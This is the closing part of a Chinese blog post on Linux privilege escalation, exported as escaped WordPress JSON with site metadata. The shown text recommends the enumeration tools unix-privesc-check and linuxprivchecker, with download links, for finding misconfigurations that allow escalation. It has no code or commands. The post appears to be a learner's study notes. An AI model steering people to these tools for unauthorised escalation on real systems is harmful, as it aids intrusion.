    \u624b\u52a8\u627e\u5982\u679c\u5bf9Linux\u7cfb\u7edf\u4e0d\u719f\u6089\u7684\u8bdd\u57fa\u672c\u662f\u627e\u4e0d\u5230\u7684\uff0c\u6240\u4ee5\u53ef\u4ee5\u5229\u7528\u5de5\u5177\u53bb\u67e5\u627e
    \nunix-privesc-check<\/strong>\uff1a    http:\/\/pentestmonkey.net\/tools\/audit\/unix-privesc-check<\/a>
    \nlinuxprivchecker<\/strong>\uff1a\u00a0    https:\/\/www.securitysift.com\/download\/linuxprivchecker.py<\/a><\/p>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe27\"<\/a><\/p>\n
    \u68c0\u67e5\u4e86\u975e\u5e38\u591a\u7684\u914d\u7f6e\u95ee\u9898\uff0c\u800c\u4e14\u8fd8\u5217\u51fa\u4e86\u6240\u6709\u7684\u53ef\u5199\u6587\u4ef6\uff0c\u5982\u679c\u627e\u5230\u6709\u914d\u7f6e\u95ee\u9898\u7684\u4fbf\u53ef\u4ee5\u8fdb\u884c\u63d0\u6743\u64cd\u4f5c\u3002<\/p>\n
    \u603b\u7ed3<\/h2>\n
    \u7ecf\u8fc7\u8fd9\u6b21\u5b66\u4e60\uff0c\u7b80\u5355\u7684\u7b97\u662f\u5bf9Linux\u63d0\u6743\u6709\u4e86\u4e00\u5b9a\u7684\u4e86\u89e3\uff0c\u4f46\u8fd8\u6709\u5f88\u591a\u59ff\u52bf\u9700\u8981\u53bb\u5b66\u4e60\uff0c\u8fd8\u662f\u9700\u8981\u4e0d\u65ad\u53bb\u79ef\u7d2f\u3002<\/p>\n
    \u53c2\u8003\u535a\u5ba2<\/h2>\n
    https:\/\/www.cnblogs.com\/BOHB-yunying\/articles\/11517748.html<\/a>
    \n    https:\/\/www.cnblogs.com\/hookjoy\/p\/6612595.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
    \u524d\u8a00\uff1a \u4e0a\u6b21\u5b66\u4e60\u4e86Windows\u64cd\u4f5c\u7cfb\u7edf\u7684\u63d0\u6743\u4ee5\u53ca\u76f8\u5173\u5de5\u5177\u7684\u5229\u7528\uff0c\u8fd9\u6b21\u5c31\u6765\u5b66\u4e60\u4e00\u4e0bLinux\u64cd\u4f5c\u7cfb\u7edf\u7684\u63d0\u6743 L […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14,1],"tags":[353],"class_list":["post-581","post","type-post","status-publish","format-standard","hentry","category-linux","category-net-security","tag-linux"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/581","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=581"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/581\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=581"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=581"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=581"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}